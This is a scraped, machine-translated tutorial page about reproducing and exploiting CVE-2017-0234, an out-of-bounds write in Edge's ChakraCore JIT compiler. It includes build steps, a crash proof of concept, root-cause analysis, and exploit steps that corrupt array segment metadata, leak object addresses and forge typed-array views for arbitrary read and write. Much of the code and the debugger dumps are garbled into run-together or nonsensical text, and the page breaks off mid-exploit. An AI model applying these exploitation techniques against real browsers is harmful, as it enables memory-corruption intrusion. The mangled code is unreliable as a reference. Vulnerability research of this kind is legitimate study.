Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

How to realize the reappearance and utilization of Edge CVE-2017-0234 vulnerability

2025-01-18 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >

Share

Shulou(Shulou.com)05/31 Report--

How to achieve Edge CVE-2017-0234 loophole reproduction and utilization, many novices are not very clear about this, in order to help you solve this problem, the following editor will explain in detail for you, people with this need can come to learn, I hope you can gain something.

Preliminary work of 0x01

First clone and switch to the source version where the vulnerability is located

Git clone https://github.com/microsoft/ChakraCore.gitgit checkout d8ef97d90c231e83db96dc4fdff4b39409f7a9b6

The Chakra.Core.sln file is in the Build directory. It is recommended to use VS2015 to build the solution, and the new version of VS may encounter a lack of runtime.

The following analysis enables some additional detection only in the Chakra,Debug configuration generated by compilation under the Release configuration.

0x02 Crash&POC analysis

You can debug using VS or Windbg. Set the executable file to ch.exe and the parameter to js file.

Function write (begin,end,step,num) {for (var ifolbegintosi r @ rsi,@r9rsi=000001a19fa40000 r9=00000000312a000e0:004 > dd @ rsi000001a1`9fa40000 00001234 000000123400001234000001a1`9fa40010 12340000001234000001a1`9fa40020000000123400001234000012340000123400000012340000001234000000123400000012340000001234000000123400000012340000000012340000001234000000001234000000123400000012340000001234000000123400000012340000001234000000123400000012340000001234000000123400000012340000001234000000123400000012340000001234000000123400000012340000001234000000123400000012340000001234000000123400000012340000001234000000123400000012340000001234000000123400000012340000001234000000123400000012340000001234000000123400000012340000001234000000123400001234000000123400000012340000001234000000123400000012340000001234000000123400000012340000001234000000123400000012340000001234000000123400000012340000123400001234000000123400001234000000123400000012340000001234000000123400000012340000001234000000123400000012340000

Obviously rsi points to buffer,r9 is the array subscript I in the array assignment operation performed in write, multiplied by 4 because the Uint32 member unit size is 4 bytes

0 004 > dd @ rsi+@r9* 4000001a2`64500038? 000001a2`64500048? 000001a2`64500058? 000001a2`64500068? 000001a2`64500078? 000001a2`64500088? 000001a2`64500098? Address @ rsi+@r9*4Usage: Base Address: 000001a1`9fa50000End Address: 000001a2`9fa40000Region Size: 00000000`ff0000 (4.000 GB) State: 00002000 MEM_RESERVEProtect: Type: 00020000 MEM_PRIVATEAllocation Base: 000001a1`9fa40000Allocation Protect: 00000001 PAGE_NOACCESS

The block of memory pointed to by the out-of-bounds array subscript does not have RW permission, so an exception is generated

Concern: the value of R9 is not the array subscript of the first out-of-bounds write, and JS normally the array out-of-bounds should not produce an exception

View the call stack when an exception occurs

As a result, the JIT mechanism is triggered after the for loop reaches a certain number of times, and the exception occurs in the out-of-bounds write that is compiled through JIT. Obviously, the assembly code generated by JIT lacks out-of-bounds detection of a few group subscripts, and the reason is explored through the analysis of patch code.

Content of patch: added additional detection for whether the three flag bits are set or not

According to the free translation of eliminatedLowerBoundCheck and eliminatedUpper-BoundCheck, it is the flag bit to turn off subscript overflow detection, so it can be found that this vulnerability can easily be out of bounds because developers take the initiative to turn off subscript detection. The relevant reasons will be further analyzed below.

In addition, another feature of this vulnerability is that the exception generated by the array out of bounds in JIT will be handled by chakra itself and will not cause crash, which will theoretically help the stability of vulnerability exploitation. (but the final Exp did not use this mechanism.)

Analysis of the cause of 0x03

The length of ArrayBuffer application in POC 0x10000 is not randomly selected. This length will determine whether memory is applied for by AllocWrapper or malloc.

JavascriptArrayBuffer::JavascriptArrayBuffer (uint32 length, DynamicType * type): ArrayBuffer (length, type, (IsValidVirtualBufferLength (length))? AllocWrapper: malloc) {} bool JavascriptArrayBuffer::IsValidVirtualBufferLength (uint length) {# if _ WIN64 / * 1. Length > = 2 ^ 16 2. Length is power of 2 or (length > 2 ^ 24 and length is multiple of 2 ^ 24) 3. Length is a multiple of 4K * / return (! PHASE_OFF1 (Js::TypedArrayVirtualPhase) & (length > = 0x10000) & ((length &) (~ length + 1)) = = length) | | (length > = 0x1000000 & & ((length & 0xFFFFFF) = = 0) & & ((length% AutoSystemInfo::PageSize) = = 0)) # else return false;#endif}

From the above, we can see that 0x10000 is the minimum length that satisfies the calling AllocWrapper.

Let's take a look at the logic of AllocWrapper. In fact, we still use VirtualAlloc for memory request and management:

Static void*__cdecl AllocWrapper (DECLSPEC_GUARD_OVERFLOW size_t length) {# if _ WIN64 LPVOID address = VirtualAlloc (nullptr, MAX_ASMJS_ARRAYBUFFER_LENGTH, MEM_RESERVE, PAGE_NOACCESS); / / throw out of memory if (! address) {Js::Throw::OutOfMemory ();} LPVOID arrayAddress = VirtualAlloc (address, length, MEM_COMMIT, PAGE_READWRITE) If (! arrayAddress) {VirtualFree (address, 0, MEM_RELEASE); Js::Throw::OutOfMemory ();} return arrayAddress;#else Assert (false); return nullptr;#endif}

The size of the VirtualAlloc application MAX_ASMJS_ARRAYBUFF-ER_LENGTH is fixed, and the 4GB size is applied for directly at one time.

VirtualAlloc is called twice in define MAX_ASMJS_ARRAYBUFFER_LENGTH 0x100000000 / / 4GBAllocWrapper. For the first time, the huge space of 0x100000000 is applied but set to NOACCESS, and the second VirtualAlloc sets the corresponding length area of 0x10000000 to RW according to the actual length of ArrayBuffer application.

Now we can try to explain why JIT ignores exceptions and does not set subscript detection:

This 4G buffer will only serve as a buffer for an array object.

The array subscript in chakra is of type uint32, so its maximum value is 2 ^ 32-1.

Assuming that the array member variable is a single byte size, that just cannot go beyond the range of 4G

Cross-boundary reading and writing within the range of 4G will not cause harm.

Turning off subscript detection can improve performance

However, the answer has been given in POC. If the array member variable is larger than 1 byte, you can cross the 4G security zone to read and write across the boundary. As long as the direct rear memory of 4G is applied by means of heap injection, the data structure of the object can be hijacked and arbitrary read and write can be realized indirectly.

0x04 vulnerability exploitation

The utilization in windows environment is more complicated than that in linux, and the primary goal is to try to read and write any address first, and then it is usually only a matter of time.

Data object hijacking

First, take a look at the data structures related to subsequent utilization:

/ / arr can be allocated directly behind the 4G space applied by buffer var buffer = new ArrayBuffer (0x10000); var view = new Uint32Array (buffer); var arr = new Array (0x800) arr [0] = 0x111arr [1] = 0x222

The array in chakra is based on the data structure of B Tree. In general, we need to understand that the array is partially stored in multi-node memory.

Each node is called segment, where length represents the number of stored members and size represents the size of the seg

Left stands for the left node in B tree.

Next points to the next segment

0x80000002 is MissingItem, which can simply be understood as the default value when uninitialized.

The offset of head in segment is 0x20, and the place where the array members are stored starts at the 0x38 offset; next points to the next segment.head

0D7`CE5A00000001d7`ce5a0000 00000000 00000000 0000000000000001d7`ce5a0010 0000000000000 0000b33a 000000000001d7`ce5a0020 000000000002 0000000000000001d7`ce5a00000000000000222000001d7`ce5a4080000002 80000002 80000002

Using vs debugging, you can more easily observe the data structure / / further observe left and nextarr [0] = 0x111arr [1] = 0x222arr [0x2000] = 112233arr [0x4000] = 3344550x00000131C3B24520 00000000 000000000000000 000000000x00000131C3B24530 000000000000000000000 000000000x00000131C3B24540 0000000000000000000110000001200000000 / next=0x131c3b245a00x00000131C3B24560 80000002 80000002 80000002 00000001 0000120000000 / left=0x2000 size=1 length=0x120x00000131C3B245B0 c2158180000012000000333 80000002 / 800000000333 80000002 / 800000000333 8000000002 80000002 80000002 80000002.0x00000129C2158180 00004000 0000000001 00000012 00000000 / 00000000044 80000000044 80000000044 8000000004000000400000044

When querying an array, we will determine whether to go to the next node of next based on length and size. If we modify length and size and change them greatly through the out-of-boundary write in POC, we can read and write out of bounds through this array.

EXP Step1: successfully allocates the buffer of two arrays to the rear of 4G space

Var buffer = new ArrayBuffer (0x10000); var view = new Uint32Array (buffer); var arr1 = new Array (0x800); var arr2 = new Array (0x800)

Through debugging, we can find that arr2 is actually located at arr1+0x3000 because of memory alignment, and there is invalid data in the middle.

0vu009 > dd 0x1AE5EBE00000001ae`5ebe0000 00000000 00000000 00000000000001ae`5ebe00100000000000000 000066af 0000000001ae`5ebe0020 00000000 000f0000 000f0000 000000000001ae`5ebe00 3000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

This step actually stores the address of the myobj as a pointer in the array, but normally you can't leak the value of the pointer directly, but you can do it by using special methods such as out-of-bounds reading.

EXP Step2: use arr1 to cross the boundary to read object pointers in arr2, and implement arbitrary object leak//JIT OOB hijack length and size of arr1write (0x400000000x09reo 0x40000000x001000); / / Now arr1 can OOB read&write arr2write (0x400000000x0aMagol 0x40000000x000a0x40000000x000x000x000x100000) 0x100000tem0xf0000); / / now you can leak any objectfunction getobjadd (myobj) {arr2 [3] = myobj; uint32 [0] = arr1 [0xc06]; / int to uint return (arr1 [0xc07]) * 0x100000000+uint32 [0];} read and write arbitrary address through forged objects

This is the most complex operation in the process of utilization.

First of all, let's summarize the capabilities we currently have:

Cross-boundary writing of arr1 and its high address through JIT vulnerability

Cross the boundary to read and write content higher than the arr1 address through arr1, such as arr2

Any object address leak

Now we want to forge an array object to read and write arbitrarily by controlling its buffer, and the object data other than buffer must be set legally. Obviously, the capabilities currently available are limited, but the seg.next mentioned above has come in handy at the moment.

The next of segment is hijacked as an object address, and when a member that exceeds the current segment left+length is accessed, the address of the object will be used as the next segment access / / request an array of four shared buffer1 buffers var buffer1 = new ArrayBuffer (0x100); / / the view1-4 object itself will basically be allocated on a piece of continuous memory var view1 = new Uint32Array (buffer1); var view2 = new Uint32Array (buffer1); var view3 = new Uint32Array (buffer1); var view4 = new Uint32Array (buffer1)

Debugging observation shows that the size of view object is 0x40 bytes.

00000230`0909013940 00007FFB6B9F8D78 0000023008FD5480 / / view1 0 offset is the pointer 00000230`09013950 00000000000000000000000000000230`0901396000000000000000400023000000004000230000000040002300900000004 00000228075AE5F0 / to the real buffer 000002300000000000000000000000000000000000000000000000000000000000000000000013000000000000000001300000000228000E5F0000030900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

As noted above, next points to head, while head is separated from array members by 0x38-0x20=0x18

To cross the boundary through forged next, you must know fake head.left to determine the array subscript index

The 0x28 offset is a pointer to the buffer1 object, which can be obtained through any object leak.

To sum up, if you set next to view1+0x28, left is the lower 4 bytes of the buffer1 address, and the starting area of the array member is view1+0x28+0x18, which happens to be the address of the view2 object.

/ / copy the object data to the buffer1 buffer uint32 [0] = arr1 [0xc00]; / / leak low 4Byte of buffer1 and int to uintindex=uint32 [0]; for (var iTuno [I)

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Network Security

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report